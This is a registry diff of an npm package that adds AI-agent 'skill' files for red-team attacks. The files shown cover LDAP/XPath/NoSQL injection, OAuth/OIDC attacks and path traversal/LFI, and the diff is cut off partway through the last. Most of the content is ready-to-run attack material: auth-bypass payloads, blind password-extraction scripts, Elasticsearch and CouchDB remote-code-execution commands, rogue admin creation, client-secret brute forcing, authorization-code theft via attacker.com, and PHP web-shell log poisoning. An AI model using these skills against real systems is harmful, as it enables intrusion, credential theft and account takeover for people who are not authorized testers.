rtexit-method 0.1.7 → 0.1.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-ai-llm-security/SKILL.md +385 -0
- package/packaged-assets/.agents/skills/rt-business-logic/SKILL.md +190 -0
- package/packaged-assets/.agents/skills/rt-cache-attacks/SKILL.md +166 -0
- package/packaged-assets/.agents/skills/rt-clickjacking/SKILL.md +227 -0
- package/packaged-assets/.agents/skills/rt-cors-csrf/SKILL.md +180 -0
- package/packaged-assets/.agents/skills/rt-deserialization/SKILL.md +223 -0
- package/packaged-assets/.agents/skills/rt-dom-attacks/SKILL.md +219 -0
- package/packaged-assets/.agents/skills/rt-http-parameter-pollution/SKILL.md +187 -0
- package/packaged-assets/.agents/skills/rt-ldap-xpath-injection/SKILL.md +228 -0
- package/packaged-assets/.agents/skills/rt-oauth-oidc/SKILL.md +260 -0
- package/packaged-assets/.agents/skills/rt-path-traversal/SKILL.md +172 -0
- package/packaged-assets/.agents/skills/rt-printer-attacks/SKILL.md +213 -0
- package/packaged-assets/.agents/skills/rt-prototype-pollution/SKILL.md +154 -0
- package/packaged-assets/.agents/skills/rt-request-smuggling/SKILL.md +187 -0
- package/packaged-assets/.agents/skills/rt-sap-exploitation/SKILL.md +275 -0
- package/packaged-assets/.agents/skills/rt-voip-sip/SKILL.md +231 -0
- package/packaged-assets/.agents/skills/rt-xxe/SKILL.md +181 -0
|
@@ -0,0 +1,228 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-ldap-xpath-injection
|
|
3
|
+
description: "LDAP injection, XPath injection, and deep NoSQL injection skill for authorized engagements. LDAP authentication bypass via filter injection, LDAP enumeration via blind injection, XPath authentication bypass and data extraction, MongoDB operator injection depth, Elasticsearch injection, and CouchDB HTTP API attacks. Use when applications query LDAP directories, XML datastores, or document databases."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-ldap-xpath-injection — LDAP, XPath & Advanced NoSQL Injection
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Beyond SQL injection, applications use LDAP (directory services), XPath (XML querying), and NoSQL databases — each with their own injection vulnerabilities. LDAP injection can bypass Windows AD authentication. XPath injection can extract entire XML documents. NoSQL injection bypasses authentication across MongoDB, Redis, and Elasticsearch.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Part 1 — LDAP Injection
|
|
15
|
+
|
|
16
|
+
### Phase 1 — LDAP Auth Bypass
|
|
17
|
+
|
|
18
|
+
```bash
|
|
19
|
+
# Vulnerable LDAP filter: (&(uid=USER)(password=PASS))
|
|
20
|
+
|
|
21
|
+
# Auth bypass — close filter early, always true
|
|
22
|
+
Username: *)(uid=*))(|(uid=*
|
|
23
|
+
Password: anything
|
|
24
|
+
# Resulting filter: (&(uid=*)(uid=*))(|(uid=*)(password=anything))
|
|
25
|
+
# Returns first user → logged in as admin
|
|
26
|
+
|
|
27
|
+
# Simpler bypass
|
|
28
|
+
Username: admin)(&
|
|
29
|
+
Password: anything
|
|
30
|
+
# Filter: (&(uid=admin)(&)(password=anything)) → uid=admin always true
|
|
31
|
+
|
|
32
|
+
# Wildcard bypass
|
|
33
|
+
Username: *
|
|
34
|
+
Password: *
|
|
35
|
+
# Filter: (&(uid=*)(password=*)) → matches everyone
|
|
36
|
+
|
|
37
|
+
# Test with curl (LDAP-backed login form)
|
|
38
|
+
curl -X POST https://target.com/login \
|
|
39
|
+
-d "username=*)(uid=*))(|(uid=*&password=anything"
|
|
40
|
+
# If logged in as first user → LDAP injection confirmed
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
### Phase 2 — LDAP Blind Enumeration
|
|
44
|
+
|
|
45
|
+
```bash
|
|
46
|
+
# Extract data via true/false responses
|
|
47
|
+
# (&(uid=admin)(cn=a*)) → if true: admin's CN starts with 'a'
|
|
48
|
+
|
|
49
|
+
python3 << 'EOF'
|
|
50
|
+
import requests, string
|
|
51
|
+
|
|
52
|
+
def test_ldap(filter_payload):
|
|
53
|
+
r = requests.post("https://target.com/login",
|
|
54
|
+
data={"username": filter_payload, "password": "x"})
|
|
55
|
+
return "Login successful" in r.text or r.status_code == 302
|
|
56
|
+
|
|
57
|
+
# Enumerate admin's email character by character
|
|
58
|
+
email = ""
|
|
59
|
+
for pos in range(1, 50):
|
|
60
|
+
for char in string.ascii_lowercase + string.digits + "@._-":
|
|
61
|
+
# Filter: (&(uid=admin)(mail=FOUND_SO_FAR*))
|
|
62
|
+
payload = f"admin)(mail={email}{char}*)(uid=admin"
|
|
63
|
+
if test_ldap(payload):
|
|
64
|
+
email += char
|
|
65
|
+
print(f"Email so far: {email}")
|
|
66
|
+
break
|
|
67
|
+
EOF
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
---
|
|
71
|
+
|
|
72
|
+
## Part 2 — XPath Injection
|
|
73
|
+
|
|
74
|
+
### Phase 3 — XPath Auth Bypass
|
|
75
|
+
|
|
76
|
+
```bash
|
|
77
|
+
# Vulnerable XPath: //users/user[username/text()='USER' and password/text()='PASS']
|
|
78
|
+
|
|
79
|
+
# Always true bypass
|
|
80
|
+
Username: ' or '1'='1
|
|
81
|
+
Password: ' or '1'='1
|
|
82
|
+
# Query: //users/user[username/text()='' or '1'='1' and ...] → all users match
|
|
83
|
+
|
|
84
|
+
# Comment out password check
|
|
85
|
+
Username: admin' # XPath has no comments, use other techniques
|
|
86
|
+
# Or: admin' or 'x'='x
|
|
87
|
+
|
|
88
|
+
# Short-circuit
|
|
89
|
+
Username: ' or 1=1 or '
|
|
90
|
+
Password: x
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
### Phase 4 — XPath Data Extraction (Blind)
|
|
94
|
+
|
|
95
|
+
```bash
|
|
96
|
+
# Extract XML document contents via true/false responses
|
|
97
|
+
python3 << 'EOF'
|
|
98
|
+
import requests, string
|
|
99
|
+
|
|
100
|
+
def test_xpath(payload):
|
|
101
|
+
r = requests.post("https://target.com/search",
|
|
102
|
+
data={"username": payload, "password": "x"})
|
|
103
|
+
return "success" in r.text.lower()
|
|
104
|
+
|
|
105
|
+
# Count users
|
|
106
|
+
for n in range(1, 20):
|
|
107
|
+
if test_xpath(f"x' or count(//user)={n} or 'x'='"):
|
|
108
|
+
print(f"User count: {n}")
|
|
109
|
+
break
|
|
110
|
+
|
|
111
|
+
# Extract first user's password character by character
|
|
112
|
+
result = ""
|
|
113
|
+
for pos in range(1, 30):
|
|
114
|
+
for char in string.printable:
|
|
115
|
+
payload = f"x' or substring(//user[1]/password,{pos},1)='{char}' or 'x'='"
|
|
116
|
+
if test_xpath(payload):
|
|
117
|
+
result += char
|
|
118
|
+
print(f"Password so far: {result}")
|
|
119
|
+
break
|
|
120
|
+
EOF
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
---
|
|
124
|
+
|
|
125
|
+
## Part 3 — Advanced NoSQL Injection
|
|
126
|
+
|
|
127
|
+
### Phase 5 — MongoDB Deep Injection
|
|
128
|
+
|
|
129
|
+
```bash
|
|
130
|
+
# MongoDB operator injection (beyond basic auth bypass)
|
|
131
|
+
|
|
132
|
+
# $where JavaScript injection
|
|
133
|
+
curl "https://target.com/api/users?filter[$where]=this.username=='admin'&&this.password.match(/a.*/)"
|
|
134
|
+
|
|
135
|
+
# $regex for enumeration
|
|
136
|
+
curl "https://target.com/api/users?password[$regex]=^a"
|
|
137
|
+
curl "https://target.com/api/users?password[$regex]=^ab"
|
|
138
|
+
# Binary search to extract password
|
|
139
|
+
|
|
140
|
+
# Blind MongoDB injection via error timing
|
|
141
|
+
for char in a b c d e f 0 1 2 3 4 5 6 7 8 9; do
|
|
142
|
+
start=$SECONDS
|
|
143
|
+
curl -s "https://target.com/api?user[$where]=function(){var x=this.password;if(x[0]=='$char'){sleep(2000)};return true}" > /dev/null
|
|
144
|
+
elapsed=$((SECONDS - start))
|
|
145
|
+
[ $elapsed -ge 2 ] && echo "First char: $char" && break
|
|
146
|
+
done
|
|
147
|
+
|
|
148
|
+
# $lookup for cross-collection access (MongoDB aggregation)
|
|
149
|
+
curl "https://target.com/api/search" \
|
|
150
|
+
-d '{"$lookup":{"from":"users","localField":"_id","foreignField":"_id","as":"user_data"}}'
|
|
151
|
+
|
|
152
|
+
# Array operator abuse
|
|
153
|
+
curl "https://target.com/api/users?role[$in][]=admin&role[$in][]=superadmin"
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
### Phase 6 — Elasticsearch Injection
|
|
157
|
+
|
|
158
|
+
```bash
|
|
159
|
+
# Elasticsearch HTTP API — often unauthenticated internally
|
|
160
|
+
curl http://ES_IP:9200/_cat/indices?v
|
|
161
|
+
curl http://ES_IP:9200/_search?q=*
|
|
162
|
+
|
|
163
|
+
# Script injection via Painless/Groovy
|
|
164
|
+
curl -X POST "http://ES_IP:9200/users/_search" \
|
|
165
|
+
-H "Content-Type: application/json" \
|
|
166
|
+
-d '{
|
|
167
|
+
"query": {
|
|
168
|
+
"bool": {
|
|
169
|
+
"filter": {
|
|
170
|
+
"script": {
|
|
171
|
+
"script": {
|
|
172
|
+
"source": "Runtime rt = Runtime.getRuntime(); String[] commands = new String[]{\"id\"}; Process proc = rt.exec(commands); proc.waitFor(); return true;",
|
|
173
|
+
"lang": "painless"
|
|
174
|
+
}
|
|
175
|
+
}
|
|
176
|
+
}
|
|
177
|
+
}
|
|
178
|
+
}
|
|
179
|
+
}'
|
|
180
|
+
|
|
181
|
+
# CVE-2014-3120 / CVE-2015-1427 (Groovy script RCE — older Elasticsearch)
|
|
182
|
+
curl -X POST "http://ES_IP:9200/_search?pretty" \
|
|
183
|
+
-d '{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"result":{"script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getMethod(\"exec\",java.lang.String.class).invoke(java.lang.Math.class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"id\")"}}}'
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
### Phase 7 — CouchDB HTTP API
|
|
187
|
+
|
|
188
|
+
```bash
|
|
189
|
+
# CouchDB default: no auth, admin party
|
|
190
|
+
curl http://COUCHDB_IP:5984/ # Server info
|
|
191
|
+
curl http://COUCHDB_IP:5984/_all_dbs # List all databases
|
|
192
|
+
curl http://COUCHDB_IP:5984/users/_all_docs # All documents
|
|
193
|
+
|
|
194
|
+
# Create admin account
|
|
195
|
+
curl -X PUT "http://COUCHDB_IP:5984/_config/admins/attacker" \
|
|
196
|
+
-d '"password123"'
|
|
197
|
+
|
|
198
|
+
# CVE-2017-12635 (Privilege escalation via JSON parsing)
|
|
199
|
+
curl -X PUT "http://COUCHDB_IP:5984/_users/org.couchdb.user:attacker" \
|
|
200
|
+
-H "Content-Type: application/json" \
|
|
201
|
+
-d '{"type":"user","name":"attacker","roles":["_admin"],"roles":[],"password":"password"}'
|
|
202
|
+
|
|
203
|
+
# Erlang code execution (CVE-2018-8007)
|
|
204
|
+
curl -X PUT "http://admin:pass@COUCHDB_IP:5984/_config/query_servers/cmd" \
|
|
205
|
+
-d '"os:cmd(\"id\")"'
|
|
206
|
+
curl -X POST "http://admin:pass@COUCHDB_IP:5984/test/_temp_view" \
|
|
207
|
+
-d '{"map":"cmd(\"id\")"}'
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
---
|
|
211
|
+
|
|
212
|
+
## Skill Levels
|
|
213
|
+
|
|
214
|
+
**BEGINNER:** LDAP auth bypass with wildcard · XPath always-true bypass · MongoDB $ne auth bypass
|
|
215
|
+
|
|
216
|
+
**INTERMEDIATE:** Blind LDAP enumeration · XPath character extraction · MongoDB $regex password extraction
|
|
217
|
+
|
|
218
|
+
**ADVANCED:** Elasticsearch Painless script injection · CouchDB privilege escalation via CVEs
|
|
219
|
+
|
|
220
|
+
**EXPERT:** Blind time-based LDAP/XPath · MongoDB $where JavaScript injection · Custom NoSQL query analysis
|
|
221
|
+
|
|
222
|
+
---
|
|
223
|
+
|
|
224
|
+
## References
|
|
225
|
+
|
|
226
|
+
- OWASP LDAP Injection: https://owasp.org/www-community/attacks/LDAP_Injection
|
|
227
|
+
- PortSwigger XPath: https://portswigger.net/web-security/xml/xpath-injection
|
|
228
|
+
- MongoDB injection: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection
|
|
@@ -0,0 +1,260 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-oauth-oidc
|
|
3
|
+
description: "OAuth 2.0 and OIDC deep attack skill for authorized engagements. Authorization code interception, PKCE bypass, redirect_uri manipulation, state parameter CSRF, implicit flow token theft, client credential abuse, token leakage in referrer headers, JWT attacks on id_token, OAuth misconfiguration in social login, open redirect chaining, and account takeover via OAuth flow manipulation. Use when testing SSO, social login, or any OAuth/OIDC implementation."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-oauth-oidc — OAuth 2.0 & OIDC Deep Attacks
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
OAuth 2.0 is the authorization framework behind every "Login with Google/GitHub/Microsoft" button, API authorization, and SSO system. A single misconfiguration can allow account takeover without credentials. This skill covers the complete OAuth attack surface beyond what rt-exploit-auth covers.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — OAuth Flow Reconnaissance
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Identify OAuth flow type
|
|
18
|
+
# Authorization Code: most secure, used by web apps
|
|
19
|
+
# Implicit: deprecated, token in URL fragment → leaks to browser history
|
|
20
|
+
# Client Credentials: machine-to-machine, no user
|
|
21
|
+
# Device Code: IoT/CLI (see rt-azure-ad)
|
|
22
|
+
|
|
23
|
+
# Find OAuth endpoints
|
|
24
|
+
curl https://target.com/.well-known/openid-configuration
|
|
25
|
+
# Reveals: authorization_endpoint, token_endpoint, jwks_uri, etc.
|
|
26
|
+
|
|
27
|
+
# Or discover manually
|
|
28
|
+
# Look for: /oauth/authorize, /oauth/token, /connect/authorize
|
|
29
|
+
# Check login buttons → inspect redirect URLs
|
|
30
|
+
|
|
31
|
+
# Extract OAuth parameters from auth request
|
|
32
|
+
# GET /oauth/authorize?
|
|
33
|
+
# response_type=code
|
|
34
|
+
# &client_id=CLIENT_ID
|
|
35
|
+
# &redirect_uri=https://target.com/callback
|
|
36
|
+
# &scope=openid profile email
|
|
37
|
+
# &state=RANDOM_STATE
|
|
38
|
+
|
|
39
|
+
# Key parameters to attack:
|
|
40
|
+
# redirect_uri → manipulation
|
|
41
|
+
# state → CSRF if missing/weak
|
|
42
|
+
# scope → escalation
|
|
43
|
+
# response_type → implicit flow downgrade
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
---
|
|
47
|
+
|
|
48
|
+
## Phase 2 — redirect_uri Manipulation
|
|
49
|
+
|
|
50
|
+
```bash
|
|
51
|
+
# If redirect_uri not strictly validated → steal authorization code
|
|
52
|
+
|
|
53
|
+
# Test 1: Extra path component
|
|
54
|
+
redirect_uri=https://target.com/callback/../../attacker.com
|
|
55
|
+
|
|
56
|
+
# Test 2: Subdomain (if wildcard allowed)
|
|
57
|
+
redirect_uri=https://attacker.target.com/callback
|
|
58
|
+
|
|
59
|
+
# Test 3: Different path (if prefix match only)
|
|
60
|
+
redirect_uri=https://target.com/callback@attacker.com
|
|
61
|
+
redirect_uri=https://target.com/callback%0d%0aattacker.com
|
|
62
|
+
|
|
63
|
+
# Test 4: Open redirect chaining
|
|
64
|
+
# target.com has open redirect at /redirect?url=
|
|
65
|
+
redirect_uri=https://target.com/redirect?url=https://attacker.com
|
|
66
|
+
|
|
67
|
+
# Test 5: localhost (if allowed in dev mode)
|
|
68
|
+
redirect_uri=http://localhost:8080
|
|
69
|
+
|
|
70
|
+
# Full attack: craft auth URL with manipulated redirect
|
|
71
|
+
evil_url="https://idp.target.com/oauth/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=https://target.com/redirect?url=https://attacker.com&scope=openid"
|
|
72
|
+
|
|
73
|
+
# Victim clicks link → code sent to attacker.com
|
|
74
|
+
# GET https://attacker.com/?code=AUTH_CODE&state=STATE
|
|
75
|
+
|
|
76
|
+
# Exchange stolen code for tokens
|
|
77
|
+
curl -X POST https://idp.target.com/oauth/token \
|
|
78
|
+
-d "grant_type=authorization_code&code=AUTH_CODE&redirect_uri=...&client_id=CLIENT_ID&client_secret=CLIENT_SECRET"
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
---
|
|
82
|
+
|
|
83
|
+
## Phase 3 — State Parameter CSRF
|
|
84
|
+
|
|
85
|
+
```bash
|
|
86
|
+
# If state parameter is missing or not validated → CSRF → account linking attack
|
|
87
|
+
|
|
88
|
+
# Scenario: target app allows linking social accounts
|
|
89
|
+
# 1. Attacker initiates "Link Google Account" on their account
|
|
90
|
+
# 2. OAuth flow starts, state=ATTACKER_STATE
|
|
91
|
+
# 3. Attacker stops before completing, copies callback URL:
|
|
92
|
+
# https://target.com/oauth/callback?code=ATTACKER_CODE&state=ATTACKER_STATE
|
|
93
|
+
# 4. Tricks victim into visiting that URL (CSRF)
|
|
94
|
+
# 5. Victim's session completes the OAuth → links attacker's Google to victim's account
|
|
95
|
+
# 6. Attacker can now log in as victim using their own Google account
|
|
96
|
+
|
|
97
|
+
# Test: remove state parameter
|
|
98
|
+
# Modify the callback URL, remove &state=...
|
|
99
|
+
# If application accepts → CSRF vulnerable
|
|
100
|
+
|
|
101
|
+
# Test: static/predictable state
|
|
102
|
+
# If state = timestamp or sequential number → predictable → CSRF possible
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
---
|
|
106
|
+
|
|
107
|
+
## Phase 4 — Scope Escalation
|
|
108
|
+
|
|
109
|
+
```bash
|
|
110
|
+
# Request more permissions than intended
|
|
111
|
+
|
|
112
|
+
# Add privileged scopes to authorization request
|
|
113
|
+
# Normal: scope=openid profile email
|
|
114
|
+
# Attack: scope=openid profile email admin write:all
|
|
115
|
+
|
|
116
|
+
# Try undocumented scopes
|
|
117
|
+
scope=openid profile email offline_access # Get refresh token
|
|
118
|
+
scope=openid profile email api:admin
|
|
119
|
+
scope=openid profile email user:* groups:*
|
|
120
|
+
|
|
121
|
+
# Scope downgrade for different code paths
|
|
122
|
+
# Request minimal scope → bypass security checks designed for full scope flows
|
|
123
|
+
|
|
124
|
+
# Google OAuth scope escalation (if any Google scope accepted)
|
|
125
|
+
scope=https://www.googleapis.com/auth/gmail.readonly # Read all emails
|
|
126
|
+
scope=https://www.googleapis.com/auth/drive # Access Google Drive
|
|
127
|
+
# Add to existing consent → may auto-approve
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
---
|
|
131
|
+
|
|
132
|
+
## Phase 5 — Token Leakage
|
|
133
|
+
|
|
134
|
+
```bash
|
|
135
|
+
# Access tokens leak through various channels
|
|
136
|
+
|
|
137
|
+
# Referrer header leakage
|
|
138
|
+
# If app redirects to external site after OAuth with token in URL:
|
|
139
|
+
# https://target.com/dashboard#access_token=TOKEN → external image → Referer header leaks token
|
|
140
|
+
|
|
141
|
+
# Browser history leakage (implicit flow)
|
|
142
|
+
# Implicit flow: token in URL fragment → stays in browser history
|
|
143
|
+
# After XSS: window.location.hash → steal token from history
|
|
144
|
+
|
|
145
|
+
# Log file leakage
|
|
146
|
+
# Tokens in server logs if in URL params
|
|
147
|
+
# Check: access logs, error logs, analytics tools
|
|
148
|
+
# Tools: grep for "access_token\|id_token\|token=" in exported logs
|
|
149
|
+
|
|
150
|
+
# JWT id_token analysis
|
|
151
|
+
# Decode with jwt.io or:
|
|
152
|
+
echo "eyJhbGci..." | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
|
|
153
|
+
# Look for: role claims, email, account_id — may be tamperable if weak secret
|
|
154
|
+
|
|
155
|
+
# JWT attacks on id_token (see also rt-exploit-jwt)
|
|
156
|
+
python3 jwt_tool.py ID_TOKEN -X a # Algorithm none
|
|
157
|
+
python3 jwt_tool.py ID_TOKEN -X k -pk pubkey.pem # RS256→HS256
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
---
|
|
161
|
+
|
|
162
|
+
## Phase 6 — Client Credential Abuse
|
|
163
|
+
|
|
164
|
+
```bash
|
|
165
|
+
# Find OAuth client_id and client_secret in source code / repos
|
|
166
|
+
grep -r "client_secret\|CLIENT_SECRET\|oauth_secret" .
|
|
167
|
+
trufflehog github --org=TARGET_ORG --only-verified | grep -i "oauth\|client_secret"
|
|
168
|
+
|
|
169
|
+
# Test client credentials directly
|
|
170
|
+
curl -X POST https://idp.target.com/oauth/token \
|
|
171
|
+
-d "grant_type=client_credentials&client_id=FOUND_ID&client_secret=FOUND_SECRET&scope=api:read"
|
|
172
|
+
|
|
173
|
+
# If valid → you have machine-to-machine access to all APIs
|
|
174
|
+
# client_credentials tokens often have broader scope than user tokens
|
|
175
|
+
|
|
176
|
+
# Client secret brute force (if short/predictable)
|
|
177
|
+
for secret in $(cat common_secrets.txt); do
|
|
178
|
+
response=$(curl -s -o /dev/null -w "%{http_code}" \
|
|
179
|
+
-X POST https://idp.target.com/oauth/token \
|
|
180
|
+
-d "grant_type=client_credentials&client_id=KNOWN_CLIENT_ID&client_secret=$secret")
|
|
181
|
+
[ "$response" = "200" ] && echo "FOUND: $secret"
|
|
182
|
+
done
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
---
|
|
186
|
+
|
|
187
|
+
## Phase 7 — Account Takeover via OAuth
|
|
188
|
+
|
|
189
|
+
```bash
|
|
190
|
+
# Pre-account takeover
|
|
191
|
+
# 1. Target app allows social login (OAuth)
|
|
192
|
+
# 2. Attacker creates account with victim's email via password registration
|
|
193
|
+
# 3. Victim later tries "Login with Google" using same email
|
|
194
|
+
# 4. App links Google account to existing (attacker's) account
|
|
195
|
+
# 5. Attacker can now access victim's account via their own Google login
|
|
196
|
+
|
|
197
|
+
# Test:
|
|
198
|
+
# 1. Register account: victim@gmail.com with password
|
|
199
|
+
# 2. Log out
|
|
200
|
+
# 3. Try "Login with Google" with victim@gmail.com
|
|
201
|
+
# 4. If login succeeds → account takeover via pre-registration
|
|
202
|
+
|
|
203
|
+
# OAuth login bypass via email matching
|
|
204
|
+
# App looks up user by email from OAuth provider
|
|
205
|
+
# If provider email is attacker-controlled → register with victim's email format
|
|
206
|
+
# GitHub OAuth: github.com allows setting primary email → abuse for email matching
|
|
207
|
+
|
|
208
|
+
# Forced re-linking attack
|
|
209
|
+
# 1. Find "Connect Social Account" feature
|
|
210
|
+
# 2. Intercept OAuth callback
|
|
211
|
+
# 3. Replay callback in victim's session (CSRF if state not validated)
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
---
|
|
215
|
+
|
|
216
|
+
## Phase 8 — PKCE Bypass
|
|
217
|
+
|
|
218
|
+
```bash
|
|
219
|
+
# PKCE (Proof Key for Code Exchange) prevents code theft
|
|
220
|
+
# code_verifier → SHA256 hash → code_challenge
|
|
221
|
+
# Sent with auth request → verified at token exchange
|
|
222
|
+
|
|
223
|
+
# Test 1: PKCE not enforced (most common issue)
|
|
224
|
+
# Remove code_verifier from token exchange request
|
|
225
|
+
curl -X POST https://idp.target.com/oauth/token \
|
|
226
|
+
-d "grant_type=authorization_code&code=STOLEN_CODE&redirect_uri=...&client_id=...
|
|
227
|
+
# NO code_verifier parameter"
|
|
228
|
+
# If exchange succeeds → PKCE not enforced → stolen codes work
|
|
229
|
+
|
|
230
|
+
# Test 2: PKCE with plain method (downgrade)
|
|
231
|
+
# Send code_challenge_method=plain → code_challenge = code_verifier in plaintext
|
|
232
|
+
# Intercept authorization request → read code_challenge → you have the verifier
|
|
233
|
+
curl -X POST https://idp.target.com/oauth/token \
|
|
234
|
+
-d "grant_type=authorization_code&code=CODE&code_verifier=CHALLENGE_FROM_URL"
|
|
235
|
+
|
|
236
|
+
# Test 3: Weak verifier entropy
|
|
237
|
+
# Some implementations use predictable code_verifiers
|
|
238
|
+
# Monitor multiple auth flows → look for patterns
|
|
239
|
+
```
|
|
240
|
+
|
|
241
|
+
---
|
|
242
|
+
|
|
243
|
+
## Skill Levels
|
|
244
|
+
|
|
245
|
+
**BEGINNER:** Decode JWT id_token · Test state parameter presence · Test redirect_uri with simple variants
|
|
246
|
+
|
|
247
|
+
**INTERMEDIATE:** Scope escalation · Client secret extraction from source · Pre-account takeover · PKCE enforcement test
|
|
248
|
+
|
|
249
|
+
**ADVANCED:** Open redirect chaining for code theft · CSRF via missing state · Token leakage via referrer
|
|
250
|
+
|
|
251
|
+
**EXPERT:** Full account takeover chains · Custom PKCE downgrade · Cross-provider OAuth confusion attacks
|
|
252
|
+
|
|
253
|
+
---
|
|
254
|
+
|
|
255
|
+
## References
|
|
256
|
+
|
|
257
|
+
- PortSwigger OAuth: https://portswigger.net/web-security/oauth
|
|
258
|
+
- OAuth security best practices: https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics
|
|
259
|
+
- jwt_tool: https://github.com/ticarpi/jwt_tool
|
|
260
|
+
- MITRE T1550.001: https://attack.mitre.org/techniques/T1550/001/
|
|
@@ -0,0 +1,172 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-path-traversal
|
|
3
|
+
description: "Path traversal, Local File Inclusion (LFI), and Remote File Inclusion (RFI) skill for authorized engagements. Directory traversal to /etc/passwd, LFI via PHP wrappers, LFI to RCE via log poisoning and /proc/self/environ, ZIP slip file upload attacks, null byte injection, encoding bypasses, and RFI for remote code execution. Use when applications load files based on user input."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-path-traversal — Path Traversal, LFI & RFI
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Path traversal and file inclusion vulnerabilities let attackers read arbitrary files (LFI) or include remote malicious code (RFI) by manipulating file path parameters. LFI escalates to RCE via log poisoning, PHP wrappers, or /proc pseudo-filesystem abuse.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Path Traversal Detection
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Basic traversal
|
|
18
|
+
https://target.com/download?file=../../../etc/passwd
|
|
19
|
+
https://target.com/view?page=../../../../etc/shadow
|
|
20
|
+
https://target.com/load?template=../../config.php
|
|
21
|
+
|
|
22
|
+
# Encoding bypasses
|
|
23
|
+
../ → %2e%2e%2f
|
|
24
|
+
../ → ..%2f
|
|
25
|
+
../ → %2e%2e/
|
|
26
|
+
../ → ....// (double dot slash)
|
|
27
|
+
../ → ..%252f (double URL encode)
|
|
28
|
+
../ → ..%c0%af (overlong UTF-8)
|
|
29
|
+
|
|
30
|
+
# Null byte (bypass file extension check in old PHP)
|
|
31
|
+
?file=../../../../etc/passwd%00.png
|
|
32
|
+
# PHP < 5.3: %00 truncates string → .png ignored
|
|
33
|
+
|
|
34
|
+
# Automated with ffuf
|
|
35
|
+
ffuf -u "https://target.com/file?name=FUZZ" \
|
|
36
|
+
-w /opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt \
|
|
37
|
+
-mr "root:x\|\\[boot loader\\]"
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
---
|
|
41
|
+
|
|
42
|
+
## Phase 2 — LFI Sensitive File Targets
|
|
43
|
+
|
|
44
|
+
```bash
|
|
45
|
+
# Linux
|
|
46
|
+
/etc/passwd # User accounts
|
|
47
|
+
/etc/shadow # Password hashes (root only)
|
|
48
|
+
/etc/hosts # Internal hostnames
|
|
49
|
+
/etc/crontab # Scheduled tasks
|
|
50
|
+
/proc/self/environ # Environment variables (may have DB passwords)
|
|
51
|
+
/proc/self/cmdline # Current process command line
|
|
52
|
+
/proc/self/fd/ # Open file descriptors
|
|
53
|
+
/var/log/apache2/access.log # Apache access log (for log poisoning)
|
|
54
|
+
/var/log/nginx/access.log # Nginx access log
|
|
55
|
+
/var/log/auth.log # SSH auth logs
|
|
56
|
+
/var/mail/www-data # Mail spool
|
|
57
|
+
/home/user/.ssh/id_rsa # SSH private key
|
|
58
|
+
/home/user/.bash_history # Command history
|
|
59
|
+
/var/www/html/.env # Laravel/Symfony secrets
|
|
60
|
+
/var/www/html/config.php # App database credentials
|
|
61
|
+
|
|
62
|
+
# Windows
|
|
63
|
+
C:\Windows\win.ini
|
|
64
|
+
C:\Windows\System32\drivers\etc\hosts
|
|
65
|
+
C:\inetpub\wwwroot\web.config
|
|
66
|
+
C:\xampp\apache\logs\access.log
|
|
67
|
+
C:\wamp\logs\access.log
|
|
68
|
+
C:\Users\Administrator\Desktop\
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
---
|
|
72
|
+
|
|
73
|
+
## Phase 3 — LFI to RCE
|
|
74
|
+
|
|
75
|
+
```bash
|
|
76
|
+
# Method 1: Apache/Nginx Log Poisoning
|
|
77
|
+
# Step 1: Inject PHP into User-Agent (written to access.log)
|
|
78
|
+
curl "https://target.com/" -A "<?php system(\$_GET['cmd']); ?>"
|
|
79
|
+
|
|
80
|
+
# Step 2: Include the log file
|
|
81
|
+
https://target.com/page?file=/var/log/apache2/access.log&cmd=id
|
|
82
|
+
# PHP executes the shell code in the log
|
|
83
|
+
|
|
84
|
+
# Method 2: /proc/self/environ
|
|
85
|
+
# Set PHP in User-Agent
|
|
86
|
+
curl "https://target.com/" -A "<?php system(\$_GET['c']); ?>"
|
|
87
|
+
# Include environ
|
|
88
|
+
https://target.com/page?file=/proc/self/environ&c=id
|
|
89
|
+
|
|
90
|
+
